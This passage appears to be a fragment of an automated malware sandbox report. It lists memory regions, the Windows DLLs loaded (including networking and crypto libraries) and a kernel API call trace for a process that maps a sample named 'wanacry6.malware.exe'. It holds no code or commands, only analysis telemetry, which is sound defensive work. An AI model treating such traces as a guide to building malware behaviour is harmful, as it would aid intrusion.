0xebcc45dfff entry_point = 0xebcc3e0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 8383 start_va = 0x7ffd15300000 end_va = 0x7ffd15308fff entry_point = 0x7ffd15301080 region_type = mapped_file name = "wsock32.dll" filename = "\\Windows\\System32\\wsock32.dll" (normalized: "c:\\windows\\system32\\wsock32.dll") Region: id = 8384 start_va = 0x7ffd152f0000 end_va = 0x7ffd152f9fff entry_point = 0x7ffd152f10c0 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 8385 start_va = 0x7ffd152d0000 end_va = 0x7ffd152eefff entry_point = 0x7ffd152d23f8 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\System32\\winmm.dll" (normalized: "c:\\windows\\system32\\winmm.dll") Region: id = 8386 start_va = 0x7ffd1af40000 end_va = 0x7ffd1b199fff entry_point = 0x7ffd1af44740 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.9600.16384_none_62475f7becb72503\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.9600.16384_none_62475f7becb72503\\comctl32.dll") Region: id = 8387 start_va = 0x7ffd17a20000 end_va = 0x7ffd17a3afff entry_point = 0x7ffd17a21050 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\System32\\mpr.dll" (normalized: "c:\\windows\\system32\\mpr.dll") Region: id = 8388 start_va = 0xebcbb50000 end_va = 0xebcbb56fff entry_point = 0x0 region_type = private name = "private_0x000000ebcbb50000" filename = "" Region: id = 8389 start_va = 0x7ffd17f30000 end_va = 0x7ffd1816ffff entry_point = 0x7ffd17f313f0 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 8390 start_va = 0x7ffd1dd30000 end_va = 0x7ffd1dd36fff entry_point = 0x7ffd1dd31010 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 8391 start_va = 0x7ffd18a60000 end_va = 0x7ffd18a88fff entry_point = 0x7ffd18a67968 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 8392 start_va = 0x7ffd1c330000 end_va = 0x7ffd1c34efff entry_point = 0x7ffd1c3312f0 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 8393 start_va = 0x7ffd1b9f0000 end_va = 0x7ffd1bb11fff entry_point = 0x7ffd1b9fb444 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 8394 start_va = 0x7ffd1d350000 end_va = 0x7ffd1d4c0fff entry_point = 0x7ffd1d375ac0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 8395 start_va = 0x7ffd1f5f0000 end_va = 0x7ffd1f734fff entry_point = 0x7ffd1f601c58 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 8396 start_va = 0x7ffd1f550000 end_va = 0x7ffd1f5e9fff entry_point = 0x7ffd1f5511a4 region_type = mapped_file name = "comdlg32.dll" filename = "\\Windows\\System32\\comdlg32.dll" (normalized: "c:\\windows\\system32\\comdlg32.dll") Region: id = 8397 start_va = 0x7ffd1f2a0000 end_va = 0x7ffd1f344fff entry_point = 0x7ffd1f2a1010 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 8398 start_va = 0x7ffd1dd50000 end_va = 0x7ffd1f15efff entry_point = 0x7ffd1dd51100 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 8399 start_va = 0x7ffd1d640000 end_va = 0x7ffd1d7b5fff entry_point = 0x7ffd1d6410b4 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 8400 start_va = 0x7ffd1da80000 end_va = 0x7ffd1db36fff entry_point = 0x7ffd1da81120 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 8401 start_va = 0x7ffd1f350000 end_va = 0x7ffd1f3a7fff entry_point = 0x7ffd1f35109c region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 8402 start_va = 0x7ffd1d830000 end_va = 0x7ffd1d8d6fff entry_point = 0x7ffd1d83282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 8403 start_va = 0x7ffd1a3f0000 end_va = 0x7ffd1a419fff entry_point = 0x7ffd1a3fa768 region_type = mapped_file name = "winmmbase.dll" filename = "\\Windows\\System32\\winmmbase.dll" (normalized: "c:\\windows\\system32\\winmmbase.dll") Region: id = 8404 start_va = 0x7ffd1f410000 end_va = 0x7ffd1f545fff entry_point = 0x7ffd1f411150 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 8405 start_va = 0x7ffd17c80000 end_va = 0x7ffd17f27fff entry_point = 0x7ffd17c8ddc4 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 8406 start_va = 0x7ffd1dd40000 end_va = 0x7ffd1dd48fff entry_point = 0x7ffd1dd41400 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 8407 start_va = 0x7ffd18a50000 end_va = 0x7ffd18a59fff entry_point = 0x7ffd18a510c4 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 8408 start_va = 0x7ffd1cca0000 end_va = 0x7ffd1ccb3fff entry_point = 0x7ffd1cca3acc region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 8409 start_va = 0x7ffd1f740000 end_va = 0x7ffd1f916fff entry_point = 0x7ffd1f741f60 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 8410 start_va = 0x7ffd1d4d0000 end_va = 0x7ffd1d520fff entry_point = 0x7ffd1d4d12c0 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 8411 start_va = 0x7ffd1d7d0000 end_va = 0x7ffd1d826fff entry_point = 0x7ffd1d7d2500 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 8412 start_va = 0x7ffd1d050000 end_va = 0x7ffd1d099fff entry_point = 0x7ffd1d051258 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 8413 start_va = 0x7ffd1bb20000 end_va = 0x7ffd1bb45fff entry_point = 0x7ffd1bb2159c region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 8414 start_va = 0x7ffd1b380000 end_va = 0x7ffd1b420fff entry_point = 0x7ffd1b3810a0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 8415 start_va = 0xebcc460000 end_va = 0xebcc5dffff entry_point = 0x0 region_type = private name = "private_0x000000ebcc460000" filename = "" Region: id = 8416 start_va = 0xebcbfa0000 end_va = 0xebcbfa6fff entry_point = 0x0 region_type = private name = "private_0x000000ebcbfa0000" filename = "" Region: id = 8417 start_va = 0xebcc460000 end_va = 0xebcc493fff entry_point = 0xebcc461030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 8418 start_va = 0xebcc5d0000 end_va = 0xebcc5dffff entry_point = 0x0 region_type = private name = "private_0x000000ebcc5d0000" filename = "" Region: id = 8419 start_va = 0xebcc5e0000 end_va = 0xebcc767fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ebcc5e0000" filename = "" Region: id = 8420 start_va = 0x7ffd1d550000 end_va = 0x7ffd1d583fff entry_point = 0x7ffd1d551030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 8421 start_va = 0x7ffd1d1b0000 end_va = 0x7ffd1d2e7fff entry_point = 0x7ffd1d1b1010 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 8422 start_va = 0xebcc770000 end_va = 0xebcc8f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ebcc770000" filename = "" Region: id = 8423 start_va = 0xebcc900000 end_va = 0xebcdcfffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ebcc900000" filename = "" Region: id = 8424 start_va = 0xebcbfb0000 end_va = 0xebcbfb0fff entry_point = 0x0 region_type = private name = "private_0x000000ebcbfb0000" filename = "" Region: id = 8425 start_va = 0xebcbfc0000 end_va = 0xebcbfc0fff entry_point = 0x0 region_type = private name = "private_0x000000ebcbfc0000" filename = "" Region: id = 8426 start_va = 0xebcbfd0000 end_va = 0xebcbfd0fff entry_point = 0xebcbfd0000 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 8427 start_va = 0xebcc460000 end_va = 0xebcc461fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ebcc460000" filename = "" Region: id = 8428 start_va = 0xebcdd00000 end_va = 0xebcde6ffff entry_point = 0x0 region_type = private name = "private_0x000000ebcdd00000" filename = "" Region: id = 8429 start_va = 0xebcc470000 end_va = 0xebcc529fff entry_point = 0xebcc49c768 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 8430 start_va = 0x7ffd1bb70000 end_va = 0x7ffd1bb79fff entry_point = 0x7ffd1bb71748 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 8431 start_va = 0x7ffd1cb70000 end_va = 0x7ffd1cb79fff entry_point = 0x7ffd1cb71010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 8432 start_va = 0x7ffd1cb10000 end_va = 0x7ffd1cb6dfff entry_point = 0x7ffd1cb2f6a0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 8433 start_va = 0xebcbfd0000 end_va = 0xebcbfd0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ebcbfd0000" filename = "" Region: id = 8434 start_va = 0xebcc470000 end_va = 0xebcc55ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ebcc470000" filename = "" Region: id = 8435 start_va = 0xebcbfd0000 end_va = 0xebcbfd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ebcbfd0000" filename = "" Region: id = 8436 start_va = 0xebcc560000 end_va = 0xebcc566fff entry_point = 0x0 region_type = private name = "private_0x000000ebcc560000" filename = "" Region: id = 8437 start_va = 0xebcdd00000 end_va = 0xebcddfffff entry_point = 0x0 region_type = private name = "private_0x000000ebcdd00000" filename = "" Region: id = 8438 start_va = 0xebcde60000 end_va = 0xebcde6ffff entry_point = 0x0 region_type = private name = "private_0x000000ebcde60000" filename = "" Region: id = 8439 start_va = 0xebcde70000 end_va = 0xebcdf70fff entry_point = 0xebcde9fa1c region_type = mapped_file name = "wanacry6.malware.exe" filename = "\\Program Files\\Common Files\\wanacry6.malware.exe" (normalized: "c:\\program files\\common files\\wanacry6.malware.exe") Region: id = 8440 start_va = 0xebcc570000 end_va = 0xebcc570fff entry_point = 0x0 region_type = private name = "private_0x000000ebcc570000" filename = "" Region: id = 8441 start_va = 0x7ffd1b1a0000 end_va = 0x7ffd1b1c0fff entry_point = 0x7ffd1b1a1100 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 8442 start_va = 0xebcde70000 end_va = 0xebce144fff entry_point = 0xebcde70000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 8443 start_va = 0xebcc580000 end_va = 0xebcc582fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ebcc580000" filename = "" Region: id = 8444 start_va = 0xebcc580000 end_va = 0xebcc580fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ebcc580000" filename = "" Region: id = 8446 start_va = 0xebcc590000 end_va = 0xebcc590fff entry_point = 0x0 region_type = private name = "private_0x000000ebcc590000" filename = "" Region: id = 8447 start_va = 0xebce150000 end_va = 0xebce641fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ebce150000" filename = "" Region: id = 8448 start_va = 0xebce650000 end_va = 0xebcf4bffff entry_point = 0xebce650000 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 8449 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 8450 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 8451 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 8452 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 8453 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 8454 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 8455 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 8456 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 8457 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 8458 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 8459 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 8460 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 8461 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 8462 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 8463 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 8464 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 8465 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 8466 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 8467 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 8468 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 8469 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 8470 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 8471 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 8472 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 8474 start_va = 0xebcc5a0000 end_va = 0xebcc5a0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ebcc5a0000" filename = "" Region: id = 8475 start_va = 0xebcf4c0000 end_va = 0xebcf6d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ebcf4c0000" filename = "" Region: id = 8495 start_va = 0xebcc5a0000 end_va = 0xebcc5a2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ebcc5a0000" filename = "" Region: id = 8496 start_va = 0xebcc5b0000 end_va = 0xebcc5b0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ebcc5b0000" filename = "" Region: id = 8497 start_va = 0xebcde00000 end_va = 0xebcde43fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ebcde00000" filename = "" Region: id = 8498 start_va = 0xebcf6e0000 end_va = 0xebd2575fff entry_point = 0xebcf6e0000 region_type = mapped_file name = "imageres.dll" filename = "\\Windows\\System32\\imageres.dll" (normalized: "c:\\windows\\system32\\imageres.dll") Region: id = 8499 start_va = 0xebd2580000 end_va = 0xebd2979fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ebd2580000" filename = "" Region: id = 8500 start_va = 0x7ffd1c220000 end_va = 0x7ffd1c254fff entry_point = 0x7ffd1c2213d8 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 8501 start_va = 0x7ffd1c640000 end_va = 0x7ffd1c65dfff entry_point = 0x7ffd1c6411c8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 8502 start_va = 0x7ffd1c870000 end_va = 0x7ffd1c895fff entry_point = 0x7ffd1c875b68 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Thread: id = 790 os_tid = 0x938 [0120.722] EngAllocMem () returned 0xfffff90142521030 [0120.722] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.722] MmMapViewOfSection (in: SectionObject=0xffffc0000879c970, Process=0xffffe0000137f900, BaseAddress=0xfffff90142521358*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0xffffd000211d2ed0, ViewSize=0xfffff90142521370, InheritDisposition=0xfffff90100000001, AllocationType=0x0, Protect=0x4 | out: BaseAddress=0xfffff90142521358*=0xebcf4c0000, SectionOffset=0xffffd000211d2ed0, ViewSize=0xfffff90142521370) returned 0x0 [0120.722] EngCreateBitmap () returned 0x65050596 [0120.722] EngAssociateSurface () returned 0x1 [0120.722] EngLockSurface () returned 0xfffff901408cccb8 [0120.722] ExAllocatePoolWithTag (PoolType=0x200, NumberOfBytes=0x38, Tag=0x64646344) returned 0xffffe000014e9160 [0120.722] KeInitializeEvent (in: Event=0xffffe000014e9178, Type=0x1, State=0 | out: Event=0xffffe000014e9178) [0120.722] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.729] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.729] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.729] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0120.756] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.756] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.756] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.758] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.758] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.758] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.758] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.758] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.758] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.758] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.758] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.758] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.758] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.758] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.758] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.758] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.758] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.758] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.758] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.758] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.758] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.758] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.759] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.759] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.759] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.759] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.759] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.759] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.759] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.759] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.759] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.759] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.759] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.759] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.759] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.759] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.759] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.759] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.759] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.759] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.760] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.760] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.760] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.760] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.760] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.760] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.760] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.760] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.760] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.760] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.760] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.760] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.760] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.760] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.760] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.760] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.760] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.760] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.760] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.760] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.761] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion 